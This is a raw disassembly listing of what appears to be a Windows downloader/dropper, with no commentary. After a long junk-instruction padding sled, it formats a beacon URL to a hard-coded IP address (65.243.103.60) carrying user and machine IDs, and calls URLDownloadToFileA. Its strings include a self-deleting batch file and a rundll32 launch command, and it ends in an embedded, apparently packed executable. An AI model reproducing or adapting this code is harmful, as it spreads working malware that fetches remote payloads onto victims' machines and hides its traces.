		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		push	offset dword_403108
		push	offset dword_403000
		lea	eax, [ebp-104h]
		push	offset aHttp65_243_103 ; "http://65.243.103.60/go//?cmp=vmtek_upd"...
		push	eax
		call	dword_40206C	; wsprintfA
		add	esp, 10h
		push	0
		push	0
		push	offset byte_40210B
		lea	eax, [ebp-104h]
		push	eax
		push	0
		call	sub_401D96
		call	sub_4012A9
		call	sub_401321
		push	0
		call	dword_40205C	; ExitProcess
; ---------------------------------------------------------------------------
		db 2 dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401D96	proc near		; CODE XREF: .text:00401D7Dp
		jmp	dword_402074
sub_401D96	endp

; ---------------------------------------------------------------------------
		dd 99h dup(0)
dword_402000	dd 77E73167h		; DATA XREF: sub_401169+22r
					; sub_40120F+8Fr ...
dword_402004	dd 77E77963h		; DATA XREF: sub_401000+4Cr
					; sub_401059+82r ...
dword_402008	dd 77E79D8Ch		; DATA XREF: sub_401000+3Br
					; sub_401059+C5r ...
dword_40200C	dd 77E7A837h		; DATA XREF: sub_401000+1Er
					; sub_401059+41r ...
dword_402010	dd 77E78B82h		; DATA XREF: sub_401059+A9r
dword_402014	dd 77E78C81h		; DATA XREF: sub_401059:loc_4010E3r
dword_402018	dd 77E7A099h		; DATA XREF: sub_401059+3Br
					; sub_401321+1Cr
dword_40201C	dd 77E74672h		; DATA XREF: sub_401059+23r
dword_402020	dd 77E7105Fh		; DATA XREF: sub_401169+78r
dword_402024	dd 77E7C931h		; DATA XREF: sub_401169+69r
dword_402028	dd 77E760B5h		; DATA XREF: sub_401169+5Er
dword_40202C	dd 77E74155h		; DATA XREF: sub_401169+2Cr
					; sub_401321+74r
dword_402030	dd 77E79F93h		; DATA XREF: sub_401169+40r
dword_402034	dd 77E70396h		; DATA XREF: sub_401169+38r
					; sub_401321+2Fr
dword_402038	dd 77E704FCh		; DATA XREF: sub_401169+19r
dword_40203C	dd 77E7751Ah		; DATA XREF: sub_40120F+1Dr
dword_402040	dd 77E6167Bh		; DATA XREF: sub_40120F+17r
dword_402044	dd 77E80618h		; DATA XREF: sub_4012A9+6Dr
dword_402048	dd 77E7A5FDh		; DATA XREF: sub_4012A9+60r
dword_40204C	dd 77E805D8h		; DATA XREF: sub_4012A9+4Er
dword_402050	dd 77E61BB8h		; DATA XREF: sub_401321+13Er
dword_402054	dd 77E6AD34h		; DATA XREF: sub_401321+58r
dword_402058	dd 77E74CABh		; DATA XREF: sub_401321+3Cr
dword_40205C	dd 77E75CB5h		; DATA XREF: .text:00401D8Er
dword_402060	dd 77E6CA8Ah		; DATA XREF: sub_401169+50r
		align 8
dword_402068	dd 77D46349h		; DATA XREF: sub_40120F+Dr
dword_40206C	dd 77D4C96Ah		; DATA XREF: .text:00401D62r
		dd 0
dword_402074	dd 7613386Eh		; DATA XREF: sub_401D96r
		align 10h
aHookproc	db 'HookProc',0
		align 4
aRemovalfile_ba	db 'removalfile.bat',0  ; DATA XREF: sub_401321+7Ao
a@echoOffDfDel1	db '@echo off',0Dh,0Ah  ; DATA XREF: sub_401321+B2o
		db ':df',0Dh,0Ah
		db 'del %1',0Dh,0Ah
		db 'if exist %1 goto df',0
aRundll32_exeSA	db 'rundll32.exe %s,Activate',0
		align 4
aAzxcdsweq	db 'azxcdsweq',0        ; DATA XREF: sub_401059+Co
		align 10h
aBin		db 'BIN',0              ; DATA XREF: sub_401169+46o
asc_4020F4:				; DATA XREF: sub_401169+Ao
		unicode	0, <\>,0
aStart		db 'Start',0            ; DATA XREF: sub_4012A9+5Ao
		align 10h
aDll		db 'dll',0              ; DATA XREF: sub_4012A9+12o
asc_402104:				; DATA XREF: sub_401321+F5o
		unicode	0, <">,0
asc_402108	db ' "',0               ; DATA XREF: sub_401321+D7o
byte_40210B	db 0			; DATA XREF: .text:00401D6Fo
		align 10h
aHttp65_243_103	db 'http://65.243.103.60/go//?cmp=vmtek_update&lid=run&uid=%s&guid=%s'
					; DATA XREF: .text:00401D5Co
		db 0
		align 4
		dd 2218h, 2 dup(0)
		dd 2236h, 2074h, 21A4h,	2 dup(0)
		dd 23E4h, 2000h, 220Ch,	2 dup(0)
		dd 240Eh, 2068h, 5 dup(0)
		dd 77E73167h, 77E77963h, 77E79D8Ch, 77E7A837h, 77E78B82h
		dd 77E78C81h, 77E7A099h, 77E74672h, 77E7105Fh, 77E7C931h
		dd 77E760B5h, 77E74155h, 77E79F93h, 77E70396h, 77E704FCh
		dd 77E7751Ah, 77E6167Bh, 77E80618h, 77E7A5FDh, 77E805D8h
		dd 77E61BB8h, 77E6AD34h, 77E74CABh, 77E75CB5h, 77E6CA8Ah
		dd 0
		dd 77D46349h, 77D4C96Ah, 0
		dd 7613386Eh, 0
		db  41h	; A
		align 2
aUrldownloadtof	db 'URLDownloadToFileA',0
		align 2
aUrlmon_dll	db 'urlmon.dll',0
		align 2
		dw 3ADh
aLstrcata	db 'lstrcatA',0
		align 2
		dw 3B6h
aLstrcpya	db 'lstrcpyA',0
		align 2
a_		db '.',0
aClosehandle	db 'CloseHandle',0
		db  94h	; ”
		db 3, 57h, 72h
aItefile	db 'iteFile',0
aM		db 'M',0
aCreatefilea	db 'CreateFileA',0
		dw 2A9h
aReadfile	db 'ReadFile',0
		align 2
		dw 30Eh
aSetfilepointer	db 'SetFilePointer',0
		align 10h
		db  75h	; u
		db 1, 47h, 65h
aTmodulefilenam	db 'tModuleFileNameA',0
		align 2
		dw 3BCh
aLstrlena	db 'lstrlenA',0
		align 2
		dw 346h
aSizeofresource	db 'SizeofResource',0
		align 4
		db  5Bh	; [
		db 2, 4Ch, 6Fh
aCkresource	db 'ckResource',0
		align 4
		db  4Dh	; M
		db 2, 4Ch, 6Fh
aAdresource	db 'adResource',0
		align 4
		db 'Ú',0
aFindresourcea	db 'FindResourceA',0
		db  77h	; w
		db 1, 47h, 65h
aTmodulehandlea	db 'tModuleHandleA',0
		align 4
		db  0Ch
		db 3, 53h, 65h
aTfileattribute	db 'tFileAttributesA',0
		align 2
		dw 1B9h
aGetsystemdirec	db 'GetSystemDirectoryA',0
		db 0D5h	; Õ
		db 1, 47h, 65h
aTtickcount	db 'tTickCount',0
		align 4
		db 0C0h	; À
		db 1, 47h, 65h
aTsystemtimeasf	db 'tSystemTimeAsFileTime',0
aQ		db 'ï',0
aFreelibrary	db 'FreeLibrary',0
		db  98h	; ˜
		db 1, 47h, 65h
aTprocaddress	db 'tProcAddress',0
		align 2
		dw 248h
aLoadlibrarya	db 'LoadLibraryA',0
		align 2
		db '`',0
aCreateprocessa	db 'CreateProcessA',0
		align 10h
		retf
; ---------------------------------------------------------------------------
		db 1, 47h, 65h
aTtemppatha	db 'tTempPathA',0
		align 10h
		db  56h	; V
		db 1, 47h, 65h
aTfileattribu_0	db 'tFileAttributesA',0
		align 2
aP		db '¯',0
aExitprocess	db 'ExitProcess',0
aKernel32_dll	db 'KERNEL32.dll',0
		align 2
		dw 2D6h
aWsprintfa	db 'wsprintfA',0
		dw 10Bh
aGetcursorpos	db 'GetCursorPos',0
		align 2
aUser32_dll	db 'USER32.dll',0
		align 2
aAdvapi32_dll	db 'ADVAPI32.dll',0
		align 4
		dd 2F6h	dup(0)
dword_403000	dd 42h dup(0)		; DATA XREF: .text:00401D51o
dword_403108	dd 3BEh	dup(0)		; DATA XREF: .text:00401D4Co
		dd 905A4Dh, 3, 4, 0FFFFh, 0B8h,	0
		dd 40h,	8 dup(0)
		dd 100h, 0EBA1F0Eh, 0CD09B400h,	4C01B821h, 685421CDh, 70207369h
		dd 72676F72h, 63206D61h, 6F6E6E61h, 65622074h, 6E757220h
		dd 206E6920h, 20534F44h, 65646F6Dh, 0A0D0D2Eh, 24h, 21h	dup(0)
		dd 4550h, 3014Ch, 46E13951h, 2 dup(0)
		dd 210E00E0h, 0A07010Bh, 4400h,	3E00h, 3600h, 19C8h, 1000h
		dd 6000h, 10000000h, 1000h, 200h, 4, 0
		dd 4, 0
		dd 18000h, 400h, 14AE5h, 2, 100000h, 1000h, 100000h, 1000h
		dd 0
		dd 10h,	10018h,	0B5h, 100E4h, 8Fh, 10000h, 10h,	4 dup(0)
		dd 17000h, 18h,	14h dup(0)
		dd 7865742Eh, 74h, 0F000h, 1000h, 3A00h, 400h, 32434550h
		dd 4F13h, 0
		dd 0E20000E0h, 7273722Eh, 63h, 7000h, 10000h, 6C00h, 3E00h
		dd 3 dup(0)
		dd 0E0000020h, 6C65722Eh, 636Fh, 200h, 17000h, 200h, 0AA00h
		dd 3 dup(0)
		dd 0C0000040h, 64h dup(0)
		dd 709E4616h, 709BAB0Dh, 0ADC0A72Ch, 2C2874C0h,	2C467A2Ch
		dd 0A12459D3h, 0D3D1D4A9h, 0C24C7CD3h, 58392EE2h, 0B43C2C8Dh
		dd 0DC987277h, 708FE044h, 0E0578A9Fh, 254CD784h, 0A7EC3AFFh
		dd 0D3D2AFDCh, 3CDA1F58h, 95BF3858h, 0F8208414h, 92103B93h
		dd 59ECA9B0h, 3DDC2F38h, 0FD487A01h, 2D9C2EC7h,	0EFEFE572h
		dd 0BC4A9DEEh, 0F7E4442Dh, 2C3B1C54h, 0D346D25Ch, 38FD0AB6h
		dd 17595C74h, 6CC43B20h, 0EC27616Dh, 75ECA8D3h,	2E345975h
		dd 10CD00C4h, 1F28F83Fh, 3C1A44ECh, 7A7F6CA7h, 2C3FAA7Bh
		dd 6AF71F2Ch, 7015D31Fh, 30523808h, 3C0868A7h, 0C49418D3h
		dd 717C2EF7h, 2F2E58A5h, 0DA2F6BF2h, 16635017h,	0C8502C2Dh
		dd 0EFA77273h, 3A46EF77h, 3AFC6C44h, 0F2260A7Ch, 4C2844EFh
		dd 4C0FD6B4h, 0ADFC2DEBh, 0E46DE5E2h, 3C447A8Ch, 0F758DE91h
		dd 556F5F4Bh, 0A91022EEh, 0BA73E58h, 0A7A846ACh, 0A7287C2Ah
		dd 1CA53C69h, 0CC3B0BE9h, 2C4432C7h, 2ECAF759h,	0CAF9B2Ch
		dd 6C2E942Ch, 7172AC2Ch, 142C20EEh, 0EE2AFFAFh,	0AF282C24h
		dd 4BBB28ECh, 8C74CFA4h, 29CF3EEh, 4C0AF20h, 9B297F20h
		dd 0EF170C2Eh, 61A72258h, 246DA524h, 0EE2E588Dh, 39C7287Dh
		dd 973C6A7Ah, 25406765h, 4C27C00Bh, 14723C72h, 584E0031h
		dd 75ADE735h, 39280470h, 3A1098FDh, 0DB29EACCh,	0A057CA2Dh
		dd 8DC66DCCh, 44EEE530h, 0A11A592Dh, 297CF469h,	60CD7561h
		dd 467F6CAAh, 7C8C7F2Dh, 881DCB8Fh, 4F818C5Ch, 3C5811B0h
		dd 303AEA62h, 7C2BC78Ch, 0DCF2042Eh, 860E577h, 94E5A920h
		dd 8F531C2Fh, 540D581Dh, 38EC2C3Ch, 235821E4h, 7D3C6CA7h
		dd 17AB9428h, 0AF24C73Eh, 0A342540Dh, 11AC2958h, 0F605CE3Ah
		dd 15FFBC22h, 6F7B396Dh, 8CD4291Bh, 0F0A4AF5h, 6AC49CACh
		dd 68A1286Ch, 0D535241Ch, 6E95DF15h, 0A53CEEFEh, 0D203A92Dh
		dd 0C444F0Dh, 0D3163958h, 5C7CC70h, 3190DC44h, 0DD23C00Dh
		dd 88C7EAAFh, 0FE947F05h, 68142915h, 0B3232C7Fh, 6DA7EFECh
		dd 0EB882C24h, 38F48004h, 0EBDC286Dh, 7E0AAF68h, 0C824243Ah
		dd 0EAE2176Dh, 0A5DC7C2Ch, 0EF282478h, 0DA6ACC20h, 1E4824B9h
		dd 0A17B289Fh, 207B2052h, 532DA0A5h, 2ADAA93Dh,	5C8BCCA1h
		dd 0D938E2A7h, 2E044708h, 37942BA7h, 40AFE9D4h,	229EC528h
		dd 0AE2E00B9h, 0BE41702Fh, 28347C29h, 0AFD06507h, 81A534C5h
		dd 0AC559F88h, 41C31667h, 50A77B7Ah, 0AB2C3725h, 7A285BA1h
		dd 4D0265B7h, 0E3D3A93Ah, 7C9D4D9Dh, 247B332Dh,	39C75CFh
		dd 1F2AF5F4h, 0A77815FEh, 114E13EDh, 0EB2B582Eh, 0A734246Ch
		dd 4BEBB364h, 656C2CABh, 0CAAE132Dh, 0A17A6430h, 0D1C5Dh
		dd 282D58ECh, 3C207CA5h, 0FF57A583h, 0E70F6CDDh, 0B0B42F08h
		dd 2D240A6Ch, 74EAA77Ah, 0AFEA7750h, 34D4DB4Ah,	0A1742A31h
		dd 0EF5A1B7Dh, 0F23F1CAFh, 523C94DFh, 0AC29C2A4h, 30461CC7h
		dd 5BE71AE3h, 0E42758EAh, 1B1516E7h, 811E0D28h,	0A1B5F68Bh
		dd 58A13FA0h, 3D6F1525h, 0C89EDCEEh, 25244629h,	0EB631872h
		dd 80A720ADh, 204495BDh, 69FF6A20h, 0EC8C7D08h,	7A40B8DEh
		dd 0F0273837h, 48447CD0h, 0C926998Ah, 0DC290F7Eh, 0AD4482F4h
		dd 0F36ED059h, 0BAD32F32h, 44A03AF1h, 0FB222470h, 0AF8DFCC1h
		dd 0A2D720E8h, 4E353459h, 9FEE2385h, 2C9CAE16h,	7B7BD356h
		dd 442D2F46h, 80B52B1Dh, 0CF117BACh, 3C62546Ah,	46DC6D20h
		dd 0C85AB7DFh, 967B5815h, 463E28DCh, 4E1C4421h,	4FF045C6h
		dd 191D705Ch, 475D138h,	0CEE94431h, 1FA1927Ah, 0BBF4AFF4h
		dd 211CBCB1h, 9FEEF8B2h, 0BF99A504h, 6F62A061h,	0A45D0C65h
		dd 6F6F7CEFh, 0EF898EC7h, 0C7D00275h, 0E037B995h, 52CEC38Dh
		dd 0D731B808h, 11FD4465h, 0E44057E2h, 0EECFA4F5h, 0CCA9A7BBh
		dd 0E108C2C7h, 0E383720h, 4601BDC7h, 0F93DA404h, 8C281635h
		dd 7CDC6558h, 0E203871Ch, 474E3588h, 0E708243Dh, 0C040C858h
		dd 0F45EEAEBh, 0ABEE2C30h, 2ED42354h, 636A2D20h, 0EAF782A2h
		dd 666BCE2Ch, 1F797D7Dh, 0DF4015C1h, 588A4C1Ch,	1E3CA53Dh
		dd 402A945Ah, 0CD43BC48h, 0FC0A2B59h, 9B2B6F33h, 4479387Bh
		dd 2E412806h, 0A7807E10h, 23D117D4h, 62F0B2A8h,	0FF0C7611h
		dd 84996BA0h, 6D0B2846h, 2C443955h, 0BD797A6Ah,	8880DC27h
		dd 0F117F4A7h, 50795C58h, 4276240h, 0A04B8C7Fh,	446D34E5h
		dd 42444458h, 0EC0962CFh, 0B44FE820h, 7979E917h, 3BD6162Eh
		dd 0B8797C7Fh, 58D917DCh, 0FD954B3Bh, 0C182BC3Ah, 36EBB918h
		dd 0C7A5FE61h, 0C7306148h, 73F79ACh, 2BA057FDh,	0BA1A3546h
		dd 2F77727Bh, 24EE2A25h, 90107173h, 7F28C70Dh, 3D1A0F15h
		dd 382071A7h, 7580417Bh, 6C7F3CCEh, 289EED4Eh, 3869A578h
		dd 2ADB7F58h, 5E3B4ED0h, 44655AA7h, 6F216EC4h, 0A2819718h
		dd 4C384F8Dh, 0FCC00F58h, 882C85CCh, 6B387869h,	172EC4EDh
		dd 61DF5ED4h, 0A79B0A95h, 6A48ED9Fh, 561F1E3Ch,	44D9C728h
		dd 68509890h, 195A1D9Eh, 0D46F3FDh, 0AFFA8844h,	8F4525EAh
		dd 0AB7F7158h, 0E81C6077h, 9C62B98Ch, 0CE21EA8Ch, 0A83C8FCAh
		dd 0A791BCE3h, 649D0C11h, 97BC9102h, 4427C7A8h,	0AD32A1C4h
		dd 25402F6Fh, 0D37CB5E0h, 44C658FBh, 66ED3BEEh,	7CA2996Fh
		dd 658F866Ah, 7788054Ah, 2C5E2872h, 1C289C07h, 618894FDh
		dd 451EFF94h, 2746EFC9h, 9042A4C5h, 4BB136F9h, 0FD30EFC5h
		dd 0C8304B3Dh, 0B7A38CE8h, 7CD8C8A9h, 0AE5FFEECh, 0B2D48B69h
		dd 0F18DC44Eh, 0D371E13Fh, 9D66DD4h, 46C8864Eh,	349BB68Ah
		dd 94C0EA85h, 11692401h, 64E516DDh, 8F3A0619h, 34B829EBh
		dd 44F0EB0Bh, 0EC1AF8Dh, 74110134h, 0ECB8232Eh,	532A7297h
		dd 0BA610D0Dh, 0ADE4EC11h, 830A0CE9h, 0A169EF07h, 2D332229h
		dd 1AA92364h, 0B92AB2E4h, 0C8B1A4ECh, 0E29F46Ch, 91A17527h
		dd 4A87DFC9h, 8BD08687h, 8F2426D4h, 55612534h, 0F8756FECh
		dd 49FBA793h, 80197BF8h, 8E413E91h, 0DD38E431h,	0E2C87Bh
		dd 467F3A7Ch, 72207F70h, 63FCBBC9h, 18D8307Eh, 0A5356EB0h
		dd 0EC7AFB6Ah, 4E00F82Bh, 0DA299D59h, 7844C226h, 0DDEB6C76h
		dd 55C70125h, 618A6044h, 0CA60FE0h, 13FA020h, 66447FACh
		dd 3AFB8634h, 0ECB4274Fh, 7A58EF2Bh, 4461C77Ch,	578D5568h
		dd 31146D24h, 0DF1559h,	0D4C4A45Ah, 0D05851C4h,	2ED8D490h
		dd 0B0400D23h, 4E027307h, 72FC4455h, 0A73A32C7h, 216F9FB3h
		dd 1AA131A5h, 1A5E6D1Ch, 0E17742B6h, 5C0F00h, 6902F016h
		dd 0CD44FDDAh, 1911DED2h, 8E0FA47Ah, 432E1A4Eh,	254323D8h
		dd 23DABF57h, 5E707A21h, 0ED7207BEh, 200DA047h,	3096B8AAh
		dd 60558DE4h, 29B41C5Dh, 28E2EC7Fh, 0A47C65C6h,	55A1D371h
		dd 75014780h, 4CC8B470h, 495C2CBDh, 0D0581E19h,	0A0DAD839h
		dd 40B030C0h, 981D8BD7h, 0E36E191Ch, 5B34147Ch,	44D2545Fh
		dd 65B0F4D4h, 25B562D0h, 0AF6A34CCh, 0AB2348D2h, 0EDA0B0BFh
		dd 373A7C5Fh, 86DC90FFh, 836583B5h, 5661AC16h, 0F941BADFh
		dd 0A2DC0DD4h, 3098231Eh, 0A73D628Ah, 0D1370893h, 1727B41Bh
		dd 585B58D7h, 0B2E1ED5Fh, 0EA6FA593h, 7258217Ch, 6E5164E3h
		dd 3569CCF2h, 163D92C6h, 0A12BC7EDh, 0FE8B7DA1h, 0FA2ABCA3h
		dd 9120C6B7h, 0A4B63E3Ah, 321C31D4h, 5959FCEFh,	0CA1D8ED4h
		dd 16EA285Ah, 2D601DAFh, 78FE4945h, 0A8D2D4E8h,	2758C98Bh
		dd 8C548FE9h, 947114C0h, 76960F3Fh, 0EDEF1CB0h,	0F844D158h
		dd 8F06AFD8h, 254DAC76h
		dd 46C471A5h, 8787C051h, 4D988775h, 8DAC2B0Ch, 507F1911h
		dd 0A85C37D3h, 0B0ED46E1h, 9A63EBD9h, 0C4681F60h, 3B3C71E0h
		dd 77C15863h, 0A36070D1h, 0C8CD32CEh, 51EAA2CCh, 46D64473h
		dd 443CE9FDh, 84DA3CE4h, 0E0F04A50h, 0EF21484Bh, 2789AAF4h
		dd 0A5AE0DEh, 142A6BA6h, 0F4A67FA3h, 0FDA7D7A6h, 0D62C007Eh
		dd 0A72EC5EDh, 3CCCEDEFh, 0AC3D1A4Ah, 0AFE6A754h, 86DF2FCDh
		dd 3992B673h, 0CB28287Dh, 52DA1E64h, 0ED8AB83Dh, 0DFAA07BBh
		dd 0A6ED2C18h, 3DA42438h, 0DB59626Dh, 0DEEF7172h, 152AC8E6h
		dd 27EE48D8h, 393C3152h, 0DC906C2Ch, 0A62A20A6h, 53E6163Ch
		dd 6B3E5023h, 0C4E0DE6Ch, 749CC175h, 0D4C74939h, 0E0ED32AFh
		dd 0C7D3E424h, 0F0292FDFh, 0BEE94A51h, 0F7ABEFD3h, 63273418h
		dd 0DBDF6C4Bh, 0DB6637F4h, 0AA3CEC88h, 0A60B4C6Ch, 21D5AC24h
		dd 2059AADEh, 92D54ACh,	0A7686CA7h, 673F065Dh, 0C53936D4h
		dd 64A72259h, 0C8397441h, 6292468h, 0A79BEEE8h,	6561D470h
		dd 0EE0BAF1Fh, 2C2D2DE0h, 0A52872A5h, 52AF246Ah, 3FB0CF28h
		dd 7CE2AE3h, 1232B345h,	7F7A38FBh, 0F20105D0h, 306C2205h
		dd 0B25FE420h, 433F73D4h, 7D776DA7h, 1AD52221h,	62A71F20h
		dd 8C2602DFh, 3E0058E5h, 9CD2C0Ah, 2CD049AFh, 1AD37D7Ch
		dd 0E6332527h, 746FA53Fh, 28242054h, 0A3BC3504h, 0CD14AC15h
		dd 28206D0Eh, 0A8763D58h, 5824CCA1h, 0F0BA520h,	8F2E6846h
		dd 0AF5F70BDh, 0E154AF51h, 752F59F0h, 61BCE09Dh, 6C2C8C46h
		dd 2CEA3C61h, 0C5AF6CC5h, 1924A529h, 0E0B5F748h, 294F079Ch
		dd 7F39BA51h, 20387BFDh, 23366BA0h, 29C2AF12h, 13742B8h
		dd 0F254E810h, 59FA0000h, 2CFDF26Ah, 967E7935h,	4B3FBC9Ah
		dd 6F434550h, 6361706Dh, 7C003274h, 9883D41h, 0E9A261A4h
		dd 0A4A60819h, 0A72946E9h, 58F307F4h, 2279B265h, 6858CC22h
		dd 271358EEh, 1607C12Bh, 5852AC2Ah, 3A0C1403h, 35580A04h
		dd 1A385802h, 14141487h, 58122358h, 29584826h, 0DDF2BA49h
		dd 4B2D4E30h, 29D72E5Eh, 0AB77B650h, 36290FAAh,	716D7A52h
		dd 46923C39h, 79536E0Ch, 0AAF06184h, 9FCC7B7Fh,	9EC0E531h
		dd 23C5CD0Ah, 0A235C930h, 6571C749h, 6929A422h,	0D8D958DCh
		dd 502DDC58h, 1FC7C62Fh, 0A7F7A9E5h, 4C3852FAh,	7E924ADFh
		dd 0E307E4A7h, 2D4F2C9Ah, 38A1E717h, 59C0501Dh,	1728A1E5h
		dd 2D1DFDACh, 4D742946h, 0F66A21E5h, 98F5A79Ah,	72A4B1ACh
		dd 99BD7533h, 0F0F51A22h, 6EF5E272h, 0F530EB66h, 5E3F44EEh
		dd 0C864F81Fh, 0CDEA6CFh, 0ECA6C21Eh, 0A1783CE9h, 0CDE0F115h
		dd 23A5EAA8h, 51A87A88h, 2858736Dh, 0E1A225C7h,	9AFA127Ah
		dd 5C38DE2Dh, 5DA12520h, 3878A734h, 0FE5761A4h,	599C2146h
		dd 0C72CE73Dh, 45D233Ch, 2E9A3784h, 0DF24E97Eh,	7CF51B0Eh
		dd 0F4881E28h, 23EE7266h, 326A3421h, 4028F4DAh,	0F2F1088h
		dd 1F2D4D2Ch, 335864FEh, 59646422h, 6E6DA708h, 3B08441Eh
		dd 65DB36C7h, 9323E5ADh, 0DA2CEB3Bh, 0C73A4610h, 3F2F9220h
		dd 2611474Ch, 0EE25692Fh, 2FFF2C2Eh, 3C5862FDh,	0AF486224h
		dd 0A527172Dh, 0BCA7623Bh, 0A42E4A74h, 0E14D593Bh, 6CEE7109h
		dd 6CA4B11Dh, 74FAEDA7h, 4CAFF481h, 3D815E55h, 6BB019BDh
		dd 0A5243864h, 2BFD7C64h, 3C7CA124h, 0D21CF314h, 852A7367h
		dd 0A2EFD062h, 0C64CCD85h, 5B2D53FFh, 0D061A5AAh, 55AF2A58h
		dd 0ADA4FC29h, 15AF2FC7h, 3427C2EDh, 71BE5D23h,	8F982514h
		dd 0C4ED2BCAh, 0E8B7CC3Dh, 1B5AD2CCh, 2EA6EF2Fh, 0E6D92E12h
		dd 9B34A5A6h, 2C25EDDAh, 0A60C2B14h, 2B082D6Ch,	3B592910h
		dd 24ECCEACh, 0D649ECBAh, 0A129596Ch, 0E51E1C7h, 52AC2475h
		dd 822D24C0h, 0D52F23CDh, 68797F7Bh, 0FD214E80h, 0CC4AC2Dh
		dd 0D4ED20F8h, 7C365831h, 0E285428Ah, 22D065D0h, 0A3113D90h
		dd 54984E1Eh, 0DA0952B1h, 756B1D6Dh, 876C2E1Ah,	343A6C9Eh
